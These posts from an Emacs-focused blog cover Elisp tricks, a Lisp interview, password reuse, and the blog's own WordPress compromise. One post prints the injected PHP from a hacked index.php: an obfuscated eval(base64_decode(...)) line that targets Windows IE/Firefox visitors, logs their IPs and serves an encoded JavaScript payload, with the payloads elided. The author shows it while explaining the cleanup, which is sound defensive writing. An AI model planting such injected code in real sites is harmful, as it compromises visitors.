Password Reuse

I’ve mentioned Troy Hunt’s writings here before. Hunt writes regularly on security and always has something interesting to say. Last year I wrote about Hunt’s analysis of passwords from the Sony compromise and—sorry but it’s true—the stupid choices people make about passwords. Others have already commented that those people have learned nothing because the same weak, well-known passwords keep showing up, this time on Yahoo!.

It turns out, though, that it’s much worse than we thought. Hunt was interested in password reuse so he compared the passwords used by people who had accounts on both Sony and Yahoo!. Unbelievably, he found that a year after the Sony exploit 59% of users who also had an account on Yahoo! were still using the exact same password on Yahoo!. This despite the fact that those passwords have been public knowledge for over a year.

Posted in General | Tagged | Leave a comment

Working With Rectangles

Xah Lee has a nice updated post on working with rectangles and some other loosely related matters. Every time I see these commands I think how useful they are and then promptly forget about them. I’m going to make an effort to try to use them more often to set them in my mind.

I especially like the replace-rectangle and string-insert-rectangle commands that let you replace the rectangle or add text to the beginning of each line of the rectangle. A sometimes useful related command is kill-rectangle that just deletes the rectangle (and puts it in the kill ring).

Lee also presents a bit of Elisp that shows how to copy a rectangle into the system’s clipboard. I like this not because it’s something I want to do but because of the techniques he uses to copy the rectangle into the kill buffer. It’s something that looks like it could be useful in other contexts.

SUMMARY OF COMMANDS

 
COMMAND KEY BINDING
replace-rectange Ctrl+x r t
string-insert-rectangle Unbound
kill-rectangle Ctrl+x r k
Posted in General | Tagged | 1 Comment

Juan José García Ripoll: Lisp Hacker

This is slightly old news but over at Lisp, The Universe and Everything there’s a nice interview with Juan José García Ripoll, the developer of Embeddable Common Lisp. The thing about Ripoll is that he’s not a programmer1; he’s a physicist who got into Lisp because he wanted a better way of handling the simulations that were his bread and butter.

It’s interesting that non-programmer scientists, like Ripoll, would turn to what almost everyone considers one of the hardest programming languages to master. Of course, those of us who have embraced Lisp have no difficulty understanding this. Lisp allows the researcher to quickly represent his physical models without worrying about programming minutia. As Ripoll recounts, he was able to leverage the Lisp bignum capabilities to solve a 3-SAT problem in an afternoon and to produce an executable that ran faster than the problem’s C++ prototypes.

I like Ripoll’s story because it demonstrates how powerful Lisp is. If you’re a physicist faced with solving problems like his and your first thought is Fortran, you’re going to get eaten alive both by Fortran and by guys like Ripoll who leverage the power of Lisp.

If you’re a scientist using computer modeling, it would be well worth your while to take a look at Ripoll’s interview. If you’re a Lisper, you’ll love Ripoll’s story of problem solving with Lisp.

Footnotes:

1 Of course, Ripoll is a programmer. What I mean is that his primary job is not programming.

Posted in General | Tagged | 2 Comments

Searching for Blog Posts by Title

Last year I wrote about how I search for a blog post’s org file by the post’s title. That involved bringing up a dired buffer for the directory containing the source org files and doing a dired-do-search for a regular expression that looks like

TITLE:[ ]+Blog-Post-Title

That works well but it’s a little fussy because you have to mark all the org files in the dired buffer and the regular expression is tedious to enter. I finally decided it was time to truly automate this chore.

The following code prompts for the title (ignoring case) and then pops up the relevant file in a new buffer.

 1: (defun jcs-search-by-title (title)
 2:   "Search for a bog post source by title."
 3:   (interactive "sTitle: ")
 4:   (dolist (f (directory-files "~/org/blog" t ".*\\.org"))
 5:     (with-temp-buffer
 6:       (insert-file-contents f)
 7:       (let ((case-fold-search t))
 8:         (if (search-forward-regexp (concat "#\\+TITLE:\\s-*" title) nil t)
 9:           (progn
10:             (find-file f)
11:             (return t)))))))

The directory-files on line 4 returns at list of all the .org files in the directory that contains blog posts source files. Each of those files is placed in a temporary buffer on line 6 and a regular expression search is performed for the title line. If the search succeeds, the file is loaded into a new buffer ready for editing.

It doesn’t seem like much of an improvement over the old method but it makes it enough easier that I use it instead of just trying to guess the file’s name. I just love the way that Emacs’ extensibility allows me to optimize my work flow.

Posted in Programming | Tagged , | Leave a comment

Malware Free

I spent most of the day yesterday going over the entire site looking for malware. I made a local copy of irreal.org and grepped for the signatures that I discussed in my Anatomy of an Exploit post. I didn’t find anything so I used curl with the appropriate USER_AGENT string to request pages that Google said were infected. Again, I didn’t find anything so I asked Google to do a rescan and they agree that the site is clean.

As I wrote previously, I’ve upgraded WordPress and I’ve changed passwords so I don’t anticipate any further problems. As annoying as it was having Google flag the site, I’m grateful for them having alerted me—and you—to the problem.

Now back to our regularly scheduled blogging.

Posted in Administrivia | Tagged | Leave a comment

Anatomy of an Exploit

As I wrote yesterday, someone hacked the Irreal WordPress installation causing it to inject JavaScript into pages served by the blog. Here’s a copy of the hacked index.php file:

<?php eval(base64_decode('JGlwPSRfU0VSVkVS  /* elided */ );?>
<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');
?>

Importing that file into Emacs and using the base64-decode-region function, that first line turns out to be

<?php
eval(base64_decode('$ip=$_SERVER["REMOTE_ADDR"];$dr=$_SERVER["DOCUMENT_ROOT"];$ua
= $_SERVER['HTTP_USER_AGENT'];$dbf=$dr.'/'.md5($dr);
if((strpos($ua,'Windows')!==false)&&((strpos($ua,'MSIE')!==false)||(strpos($ua,'Firefox')!==false))&&(strpos(@file_get_contents($dbf),$ip)
=== false)){ error_reporting(0);
echo(base64_decode('PHNjcmlwdD50cnl7MS1wcm90b3R5 /* elided */ ); if
($fp = @fopen($dbf , "a")){fputs($fp , $ip.'|'); fclose($fp);} }'));?>

I’m not a PHP or JavaScript programmer so I had to bootstrap my knowledge of C to figure out what’s going on. As you can see, the code checks to see if it’s running on a Windows machine that is using either Internet Explorer or Firefox and also makes a check on the file contents that I don’t understand. If those checks pass, it echos the payload onto the page. Notice that new call to base64_decode. When it’s decoded it expands to some byte-compiled JavaScript. I didn’t bother decompiling it because, as I say, I’m not a JS programmer and would only have a vague notion of what it was doing.

All of this was pretty easy to figure out once I got the index.php file into Emacs. As usual, it had all the tools I needed. I’m beginning to think that there might be something to the old joke that Emacs is not an editor, it’s an operating system.

Posted in General | Tagged , | 5 Comments

Malware Warnings

Yesterday, Google started warning that the Irreal blog was unsafe. After some investigation, I determined that the site had, in fact, been compromised and some JavaScript that targeted Windows users (with the MSIE or Firefox browsers) was being served.

I have removed the exploit, upgraded WordPress to the latest version, and asked Google to rescan. As far as I know, everything is fine now. I’ll post in a day or two with some of the details.

Posted in Administrivia | Tagged | Leave a comment

Shift Select Mode

I’m probably the last Emacs user to discover this but here’s a nifty trick that I learned today while trawling through some of Magnar Sveen’s .emacs.d files. If you hold down the shift key when moving the point, the region is extended. For example, if we have

the region is extended. For example,
      ^

with the point at the g in region and we type 【Shift+Meta+f】 3 times, we will have

gion is extended

selected. This is really handy for selecting a range of text, although to be fair, Sveen claims that true Emacs Knights don’t use this mode. He apparently prefers to use some of his finer grained extensions such as the expand-region package. I’ve also loaded that package and will write about it after I’ve used it for a while.

In the meantime, shift-select-mode seems like a handy feature to me. It’s enabled by default in Emacs 24 (at least) so you can try it out on any buffer you have open. You can read the documentation by asking for help on shift-select-mode.

Posted in General | Tagged | 1 Comment

Moving and Returning

Xah Lee asks what’s the best way to jump to another position in a buffer and then return to the original point? Emacs users know a lot of ways of doing this. We can, for example, use 【Ctrl+s】 to move the new point and then 【Ctrl+x Ctrl+x】 to return or we can use any of the push and pop mark tricks that I and many others have written about.

Lee says he tried all those but that the thing that works best for him is to simply split the window, move to the new position in the window that still has focus and then close that window when he’s done. That way he’s back to where he started quickly and easily. What I like about that method is that it’s easy to remember. In theory I like the other methods but the 【Ctrl+x Ctrl+x】 sets a new region that has to be turned off and unless I use the push/pop mark methods all the time I tend to forget how to do it.

For small jumps, ace-jump-mode and then popping the mark with【Ctrl+u Ctrl+Space】 to return works well. A similar method using【Ctrl+s】 or【Ctrl+r】 followed by a【Ctrl+u Ctrl+Space】 also works for me. Those work because they push the mark before the jump. Methods that don’t do that are harder for me to use effectively. In those cases, Lee’s method feels like a win. What do the rest of you do?

Posted in General | Tagged | 5 Comments

Linum-mode

This is another note to myself. Recently I was examining the internal structure of the decimal expansion of a number. In order to do this, I put the decimal representation of the number in a buffer and did a query-replace-regexp substituting <digit><space> for each <digit>. Then I set the fill column to 2 and did a refill. That gave me the number with each digit on a single line. I wanted to know the position of each digit. It’s easy to find that out by moving the point to the relevant line and, given that line-number-mode is on, just reading the line number from the mode line. But I wanted to see the positions for all the lines at once.

I knew there was a command to put each line’s number in the left fringe and had even used it but I couldn’t remember what it was. Furthermore, I couldn’t find it in the documentation. I tried things like apropos line and apropos number and other similar constructions but couldn’t find it. Eventually I gave up and started thinking about where I had first seen the command. It seemed to me that it was in an old Emacs-Fu post so I went to DJCB’s blog and did a search on “line number” and the correct post popped right up.

The right answer is linum-mode. The command name is suggestive of its function but it’s still hard to go from the functionality to the command’s name so I am documenting it here. It’s not a command that I use very often so it’s hard to remember its name but when you need it, nothing else will do.

Posted in General | Tagged | 3 Comments